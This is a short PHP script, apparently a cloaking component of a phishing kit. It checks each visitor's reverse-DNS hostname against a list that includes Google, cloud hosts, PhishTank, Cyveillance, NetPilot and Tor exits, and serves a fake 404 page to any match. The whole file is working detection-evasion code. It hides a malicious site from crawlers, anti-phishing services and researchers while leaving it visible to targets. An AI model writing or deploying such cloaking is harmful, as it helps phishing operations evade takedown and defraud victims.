hostname.php

<?php
/*
* hostname.php
*/
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']); //Get User Hostname
$blocked_words = array(
     "above",
     "google",
     "softlayer",
     "amazonaws",
     "cyveillance",
     "phishtank",
     "dreamhost",
     "netpilot",
     "calyxinstitute",
     "tor-exit",
);




foreach($blocked_words as $word) {
    if (substr_count($hostname, $word) > 0) {
        header("HTTP/1.0 404 Not Found");
        die("<h1>404 Not Found</h1>The page that you have requested could not be found.");

    }
}


?>